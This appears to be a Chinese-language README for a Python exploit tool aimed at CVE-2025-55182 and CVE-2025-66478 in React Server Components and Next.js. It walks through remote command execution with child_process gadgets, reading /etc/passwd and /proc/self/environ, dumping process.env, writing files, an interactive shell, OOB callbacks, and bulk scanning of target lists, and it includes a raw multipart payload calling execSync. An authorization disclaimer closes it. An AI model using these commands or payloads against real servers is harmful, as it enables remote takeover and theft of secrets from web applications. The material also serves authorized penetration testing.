针对React Server Components和Next.js中CVE-2025-55182和CVE-2025-66478的漏洞利用工具,具有RCE小工具、文件读写、OOB回调以及用于授权安全测试的交互式shell。
| 属性 | 值 |
|---|
| CVE编号 | CVE-2025-55182, CVE-2025-66478 |
| CVSS分数 | 10.0 (严重) |
| 受影响版本 | React < 19.2.0, Next.js < 15.0.5 |
| 漏洞类型 | 远程代码执行 (RCE) |
| 攻击向量 | 网络 |
pip install requests
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
| 参数 | 描述 | 示例 |
|---|---|---|
-u, --url | 单个目标URL | -u https://target.com |
-l, --list | 包含URL的文件 | -l targets.txt |
| 参数 | 描述 |
|---|---|
--detect | 检测Next.js/RSC使用情况 |
--check | 快速漏洞检查 (数学测试) |
--scan | 完整漏洞扫描 (PortSwigger风格) |
--test-all | 测试所有工具和检测载荷 |
| 参数 | 描述 | 示例 |
|---|---|---|
--cmd | 执行Shell命令 | --cmd "id" |
--gadget | 指定使用的工具 | --gadget execSync |
--read | 读取目标文件 | --read /etc/passwd |
--write | 写入目标文件 | --write /tmp/test.txt "content" |
--js | 执行JavaScript代码 | --js "process.env" |
--shell | 启动交互式Shell | --shell |
--oob | OOB回调主机 | --oob xyz.oastify.com |
| 参数 | 描述 | 示例 |
|---|---|---|
-p, --proxy | HTTP/HTTPS代理 | -p http://127.0.0.1:8080 |
-c, --cookies | Cookie字符串 | -c "session=abc123" |
-H, --header | 额外请求头 (可重复) | -H "X-Custom: value" |
-t, --threads | 批量扫描的线程数 | -t 20 |
--timeout | 请求超时时间(秒) | --timeout 60 |
| 参数 | 描述 |
|---|---|
-o, --output | 将结果保存到文件 (.json 或 .txt) |
-q, --quiet | 隐藏启动横幅 |
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
python3 exploit-custom.py -u https://target.com --shell
Shell命令:
| 命令 | 描述 |
|---|---|
<command> | 执行Shell命令 |
!read <file> | 读取文件 |
!write <file> <content> | 写入文件 |
!js <code> | 执行JavaScript |
!gadget <name> | 切换工具 |
exit | 退出Shell |
| 名称 | 模块ID | 描述 |
|---|---|---|
execSync | child_process#execSync | 直接执行Shell命令 |
execFileSync | child_process#execFileSync | 执行二进制文件 |
spawnSync | child_process#spawnSync | 带参数生成进程 |
vm_runInThisContext | vm#runInThisContext | 在当前上下文中执行JS |
vm_runInNewContext | vm#runInNewContext | 在沙箱中执行JS(可逃逸) |
vm_runInThisContext_global | vm#runInThisContext | 通过global.process执行 |
| 名称 | 模块ID | 描述 |
|---|---|---|
fs_readFileSync | fs#readFileSync | 读取任意文件 |
fs_writeFileSync | fs#writeFileSync | 写入任意文件 |
| 名称 | 描述 |
|---|---|
vm_fetch | 通过fetch API发起HTTP请求 (Node 18+) |
vm_http | 通过http模块发起HTTP请求 |
--scan模式使用以下PortSwigger风格的检测载荷:
| 载荷 | 描述 |
|---|---|
property_reference | 冒号分隔的属性引用 ["$1:a:a"] |
property_reference_v2 | 替代引用 ["$1:b:b"] |
property_reference_constructor | 通过属性引用访问构造函数 |
property_reference_proto | 通过属性引用访问原型链 |
action_ref_vm | 结合vm#runInThisContext的ACTION_REF |
action_ref_execSync | 结合child_process#execSync的ACTION_REF |
该工具支持多种OOB回调方法:
| 方法 | 描述 |
|---|---|
curl | 通过curl命令发起HTTP请求 |
wget | 通过wget命令发起HTTP请求 |
nslookup | DNS查询 |
ping | ICMP ping |
fetch | Node.js fetch API |
http | Node.js http模块 |
| 颜色 | 状态 | 含义 |
|---|---|---|
| 绿色 | [VULN] | 存在漏洞 - RCE已确认 |
| 黄色 | [PATCH] | 已修补 - Server Actions处于活动状态但受保护 |
| 蓝色 | [RSC] | 检测到Server Actions |
| 青色 | [NEXT] | 检测到Next.js |
| 红色 | [ERR] | 连接错误 |
[VULN] property_reference Vulnerable pattern detected!
-> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
工具解析React服务器组件的“飞行格式”响应:
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--
Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
# 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt
# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json
# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com
# 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect
# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell
本工具仅用于授权安全测试和教育目的。
警告: 未经授权访问计算机系统是违法的。请仅在您拥有或已获得明确书面许可的系统上使用此工具。
作者对因滥用或误用本工具造成的任何损害不承担责任。
本工具为安全研究和授权渗透测试目的而发布。
作者: Ünsal Furkan Harani 版本: 2.0